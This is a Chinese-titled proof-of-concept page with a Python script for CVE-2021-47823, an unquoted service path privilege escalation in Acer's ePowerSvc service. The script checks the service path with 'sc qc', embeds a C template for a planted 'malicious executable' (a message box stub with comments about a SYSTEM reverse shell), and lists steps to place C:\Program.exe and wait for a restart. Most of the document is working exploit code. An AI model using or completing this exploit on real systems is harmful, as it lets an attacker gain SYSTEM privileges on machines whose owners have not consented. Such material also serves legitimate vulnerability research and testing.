CVE-2021-47823: Acer ePowerSvc未引号服务路径权限提升漏洞

# CVE-2021-47823 PoC - Unquoted Service Path Exploitation # Target: Acer ePowerSvc Service # This PoC demonstrates how to exploit the unquoted service path vulnerability import os import subprocess import time def check_vulnerable_service(): """Check if the target service exists and is vulnerable""" # Check the service configuration using sc command try: result = subprocess.run( ['sc', 'qc', 'ePowerSvc'], capture_output=True, text=True, timeout=10 ) if 'BINARY_PATH_NAME' in result.stdout: print("[+] ePowerSvc service found") # Extract the path to check if unquoted for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"[+] Service path: {path}") if '"' not in path and ' ' in path: print("[+] Service path is UNQUOTED and contains spaces - VULNERABLE!") return True return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a malicious executable to be placed at intermediate path""" # In real attack, this would be a reverse shell or other malicious code malicious_code = ''' #include <windows.h> #include <stdio.h> int main() { // This would contain actual malicious code // For demonstration, create a simple message box MessageBox(NULL, "Acer ePowerSvc Exploited!\nCheck C:\\ for Program.exe", "CVE-2021-47823", MB_OK | MB_ICONWARNING); // In real attack, would spawn a reverse shell with SYSTEM privileges // system("cmd.exe /c ..."); return 0; } ''' print("[+] Malicious executable template created") print("[+] In real attack: compile and place as C:\\Program.exe") return True def exploit(): """Main exploitation function""" print("=" * 60) print("CVE-2021-47823 - Acer ePowerSvc Unquoted Service Path") print("=" * 60) if not check_vulnerable_service(): print("[-] Target service not found or not vulnerable") return False print("\n[*] Exploitation steps:") print("1. Create malicious executable: C:\\Program.exe") print("2. Wait for service restart or system reboot") print("3. Malicious code executes with SYSTEM privileges") create_malicious_executable() print("\n[!] Note: Requires write access to service path directories") print("[!] Actual exploitation should be performed in controlled environment") return True if __name__ == "__main__": exploit()